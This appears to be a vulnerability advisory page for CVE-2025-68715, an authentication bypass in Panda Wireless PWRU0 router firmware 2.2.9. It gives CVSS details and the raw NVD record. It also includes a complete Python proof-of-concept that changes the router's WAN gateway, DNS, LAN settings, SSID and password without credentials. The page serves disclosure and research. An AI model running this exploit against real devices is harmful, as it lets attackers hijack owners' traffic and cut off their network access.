Security Vulnerability Report
中文
CVE-2025-68715 CVSS 9.1 CRITICAL

CVE-2025-68715

Published: 2026-01-08 20:15:45
Last Modified: 2026-01-30 01:04:35

Description

An issue was discovered in Panda Wireless PWRU0 devices with firmware 2.2.9 that exposes multiple HTTP endpoints (/goform/setWan, /goform/setLan, /goform/wirelessBasic) that do not enforce authentication. A remote unauthenticated attacker can modify WAN, LAN, and wireless settings directly, leading to privilege escalation and denial of service.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:pandawireless:pwru01_firmware:2.2.9:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:pandawireless:pwru01:-:*:*:*:*:*:*:* - NOT VULNERABLE
Panda Wireless PWRU0 固件 2.2.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-68715 PoC - Panda Wireless PWRU0 Authentication Bypass Target: /goform/setWan, /goform/setLan, /goform/wirelessBasic Note: For authorized security testing only """ import requests import sys TARGET = "http://{target_ip}" # Replace with target device IP def exploit_setWan(new_gateway, new_dns): """Exploit /goform/setWan to modify WAN settings""" url = f"{TARGET}/goform/setWan" data = { "wanType": "dhcp", "gateway": new_gateway, "dns1": new_dns, "dns2": "8.8.8.8" } try: response = requests.post(url, data=data, timeout=5) print(f"[*] setWan Response: {response.status_code}") return response.status_code == 200 except requests.RequestException as e: print(f"[!] Request failed: {e}") return False def exploit_setLan(lan_ip, lan_mask): """Exploit /goform/setLan to modify LAN settings""" url = f"{TARGET}/goform/setLan" data = { "lanIp": lan_ip, "lanMask": lan_mask } try: response = requests.post(url, data=data, timeout=5) print(f"[*] setLan Response: {response.status_code}") return response.status_code == 200 except requests.RequestException as e: print(f"[!] Request failed: {e}") return False def exploit_wirelessBasic(ssid, password, channel): """Exploit /goform/wirelessBasic to modify wireless settings""" url = f"{TARGET}/goform/wirelessBasic" data = { "ssid": ssid, "password": password, "channel": channel, "enable": "1" } try: response = requests.post(url, data=data, timeout=5) print(f"[*] wirelessBasic Response: {response.status_code}") return response.status_code == 200 except requests.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip>") sys.exit(1) TARGET = f"http://{sys.argv[1]}" print(f"[*] Targeting: {TARGET}") print(f"[*] Exploiting CVE-2025-68715...") # Example: Modify wireless settings exploit_wirelessBasic("EvilAP", "Compromised123", "6")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68715", "sourceIdentifier": "[email protected]", "published": "2026-01-08T20:15:44.817", "lastModified": "2026-01-30T01:04:35.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Panda Wireless PWRU0 devices with firmware 2.2.9 that exposes multiple HTTP endpoints (/goform/setWan, /goform/setLan, /goform/wirelessBasic) that do not enforce authentication. A remote unauthenticated attacker can modify WAN, LAN, and wireless settings directly, leading to privilege escalation and denial of service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:pandawireless:pwru01_firmware:2.2.9:*:*:*:*:*:*:*", "matchCriteriaId": "EFD86B96-81EE-4754-BF38-3DA818FF44AC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:pandawireless:pwru01:-:*:*:*:*:*:*:*", "matchCriteriaId": "428A0A14-3C56-4743-963B-0E433090BEBD"}]}]}], "references": [{"url": "https://github.com/actuator/cve/blob/main/PandaWireless/CVE-2025-68715.txt", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/actuator/cve/tree/main/PandaWireless", "source": "[email protected]", "tags": ["Exploit"]}]}}